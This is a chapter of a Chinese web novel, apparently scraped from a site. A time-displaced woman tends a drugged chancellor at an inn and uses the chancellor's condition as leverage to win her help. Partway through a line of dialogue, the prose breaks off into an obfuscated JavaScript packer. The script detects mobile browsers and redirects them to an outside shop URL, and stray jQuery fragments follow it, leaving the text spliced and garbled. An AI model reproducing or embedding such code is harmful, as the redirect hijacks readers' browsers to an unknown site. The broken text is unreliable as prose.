2. 客栈

作品:《折相让我还她名声

    外头大风大雨,吹得窗户呼呼作响,吹得洛唐手中的醒酒汤水摇晃了下,一滴棕色的汤水洒在了女子莹白的手腕上。


    只一眼,洛唐觉得醒酒汤没有用处了。


    浪费钱。


    女子属于清冷一类的美人,乌黑长发披散在枕上,脸上、脖颈上的肌肤都变成了浅粉色,中衣斜襟之下的肌肤,恍如一片粉玉。


    白玉里透着粉,像是一块天然而成的好玉。


    洛唐记得,客栈里一眼,她的肌肤属于很白的那种,白得醒目,泛着光泽。


    一眼过后,女子睁开眼睛,眼内染着红,像是在极力隐忍。


    洛唐说:“我取来凉水来,如何?”


    “你不是洛唐。”女子终于出声,可嗓子已然哑了。


    洛唐呵呵笑了,女子又说:“上回见面,洛唐将我骂了。”


    洛唐:“……”那你是谁?


    许是很难受,女子再度闭上眼睛,长长的睫毛紧闭,掩饰住自己的狼狈。


    她说:“我是折清。”


    “折清?”洛唐声音蓦地尖锐起来,忍不住将面前的折清再度打量一遍,怎么会是折清呢?


    女子躺在床上,被子盖至肩膀上,鬓发被汗水打湿,面若桃夭。


    但她没有发出低吟声,就像是躺在床上,简单睡了一觉。


    洛唐正经不已,还以为她是折清的什么人,万万想不到是折清本人。


    她收回打量的神色,道:“我去给你找些凉水。”


    转过身子,洛唐去叫掌柜,掌柜嘻嘻笑着走来,“您有吩咐?”


    “打些井水来,再送一桶热水,我想沐浴了。”洛唐语气冷冷,“快去办。”


    “这就去、这就去。”掌柜被吓得跳了起来,姑娘不大,脾气不小,也不知是哪家的刁蛮女儿。


    洛唐脾气确实不大好,由一权臣变成一无权无势的少女,还要被舅家吃绝户,心里早就憋着了。


    她想改变困局,拿回父母留下的财产,所以,今日偷偷溜出门。


    可惜,还没逛街呢,遇到不饶人的大雨。


    掌柜做事也算快,提了两桶井水,放在门口。


    “你不提进去,指望谁给你提?”洛唐怒视着掌柜,“你会不会办事啊。”


    掌柜赔笑,“这就提、这就提。”


    真刁蛮!


    水提进里间,倒入洗脸用的盆子里,摆了干净的帕子,掌柜才离开。


    洛唐叫住掌柜:“弄些水来,我渴了。”


    掌柜又去拿水。


    水壶提进来,洛唐将人赶走了,她还要嘀咕一句“真不会办事,还是掌柜呢,这间客栈迟早会倒闭。”


    床上难受的人听到少女的话,不觉笑了笑。可她一放松,身上的热意便涌来,听着大雨声,她想钻进大雨里去凉快。


    少女走来,将她半扶起来,靠着自己的肩膀,“水,凉的。”


    折清半阖眸,鼻尖闻到了些香味,似乎是少女身上的香味。她喝了些水,身上的温度似乎低了些。


    然而一躺下,被子盖上,那股火意侵袭而来。


    洛唐心里憋着一口气,“今日鸿门宴,你怎么就去了。”


    明明是不熟悉,但她的口吻,像是在嗔怪。以长辈的姿态在嗔怪。


    折清闭上眼睛,咽喉不自觉地滑动,很明显,眉眼紧随,本就染了桃夭般的眼尾更红了些。


    她忍着难受,说:“利益所诱,明知山有虎,偏向虎山行。”


    洛唐冷笑,“是何等利益呢?”


    折清说:“生死。”


    洛唐不笑了,在权势滔天之地,万般不由人,她将水杯复又递到她的嘴边。


    折清伸手,握着少女的手腕。冷风扑来,少女的手很凉,像是大漠中孤独行走的人遇到冰霜,忍不住为之停留。


    她闭着眼睛,十分难受,像是在隐忍,脖颈用力,清晰可见脆弱的青筋。


    洛唐由她握着手,想起那本手札。她不由问起;“现在是明成多少年?”


    折清狐疑,睁开眼睛,眼内猩红,握着洛唐的手微微用力,正常人不会问此刻明成多少年。


    她说:“明成八年。”


    洛唐深吸一口气,明成八年,折清二十六岁,居右相。


    她记得这一年,折清在手札中写的最多的是朝政。


    如今是春日里,折清写:明成八年春,洪水如猛虎,吞噬民田,百姓妻离子散。


    她回过神来,面前的女子发出一声低吟,蓦然收回手,杯子里的水撒至踏板上。


    京城折家折清,手札中从未提及过自身事。


    历史上也没有提到她所嫁何人。


    这就意味着她一身未嫁,孑然一身。


    女子的低吟声,让洛唐心口蓦然漏了一拍,从敬佩转为心疼。一生未嫁,孑然一身,被恩师抛弃,这种感觉,太难受了。


    不贪财不贪色的人,能有什么罪名?


    祸国弄权,又是为了什么?


    洛唐伸手,抚平女子纤细紧蹙的远山眉,然后,她简单的抚慰,像是一块石头丢进了水里,让折清溺死的心浮现希望。


    折清拉住她的手,不受控制地牵住,按在自己的脖颈上。


    那一股冷意,让折清感到不多的快慰。


    洛唐见过她的字,从娟秀到威仪,洛唐都很喜欢。


    洛唐深吸一口气,努力想拽回自己的手。


    “洛唐……”折清低低喊了一声。


    这一句,失去了手札中的冷情、威仪,添了几分柔媚。


    洛唐眼眸深深,这样的女子,有威仪、有柔媚,她像是一面镜子,摆在洛唐面前,让她看到自己内心的欲望。


    洛唐看着她的脸,俯身,看清她脖颈上的肌肤:“折清,我想叛出萧家,你能帮我吗?”


    折清被欲.望控制,三月桃花一般的红,染上她遍体肌肤,她闻得‘叛出’二字,不得不扬起修长的玉颈,眼中的挣扎,顷刻间,被洛唐收入眼中。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650369|143937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你可以思考哦。”洛唐挑眉,如同一只狡猾的狐狸脱下兔子的表面,露出真面目。


    折清曲了曲自己的五指指节,她松开了洛唐。


    洛唐眼中闪过微不可察的冷意,果然,折清这人老实极了。


    她哀叹一声:“折相,你说你这么固执,可曾想过日后的结局?”


    被养大的恩师抛弃、利用,真是太老实啦。


    换做是洛唐,养育之恩搁在一边,你要弄死我,我先弄死你。世人骂我又怎么样,我活了下来,我有能力改写史书。


    她故意靠近,呼吸撒过折清红透的耳畔。


    折清狠狠蹙眉,热烈与清冷,在她的眼中,融为一体。


    洛唐被风吹得瑟瑟发抖,转身过去将窗户关上了。


    门关上后,折清感觉那股冷意消失了,体内的热流将她包裹住。她眼睁睁地看着少女走来,明明与洛唐长得一模一样,却又不像一个人。


    她像是被一只狐狸夺走了皮囊的洛唐。


    “你自己慢慢忍,其实可以忍过去的。”洛唐眉眼弯弯,笑容狡猾。


    是折清啊。


    是她临死前惦记的高人啊。


    折清出神,洛唐拿了帕子给她擦拭脸颊,冷意弥漫,确实好受不少,可帕子离开,热意再度袭来,更难受了。


    洛唐还在嘀嘀咕咕:“我好奇是什么样的事让你明知酒水有问题,还要喝下去。是谁邀请你的?”


    此刻的齐,是太后临朝,女子地位比起前朝,高出不少。女子可和离再嫁,女子享有家族继承权,可入朝为官等。


    同时,公主们权力更大了,所以,很多人不敢尚公主。


    洛唐猜测:“是哪位公主约你的?是不是哪位公主看上你了?”


    “闭嘴。”折清呵斥一声,气势犹在。


    洛唐嘿嘿笑了,巴掌大小的小脸上满是笑意,她故意从冰冷的帕子擦拭脖颈满是冷汗的脖颈,“生气啦?难受吗?”


    折清微恼,全身绷紧了,她发觉自己的气息都是热的。


    她也不知,药劲要到什么时候才会过去。


    洛唐却知,有的难受呢。


    她说:“随你啊,不答应,我也不会欺负你的。你自己忍一忍就好了,但我得回家了,我舅父家规矩多着呢。”


    她唉声叹气地转身,不妨,女子抓住她的手,依旧是那么烫。


    折清浑浑噩噩,感觉四肢不受自己的控制,她抓住了少女的手,理智几乎就要药力控制。


    伸手、握住后,她又觉得很满足。


    她觉得自己疯了。


    洛唐的视线重现落在她的身上,指腹不经意间抚过她的手背。


    女子肌肤很柔软。


    她说:“我得回家,不然家规得打死我。”


    折清沉默,仰首瞥见少女明艳的唇角,她有些意动,不,是药力所为。


    不是她。


    她极力挣扎,深深压住呼吸,说:“你别走,我明日送你回镇国公府。”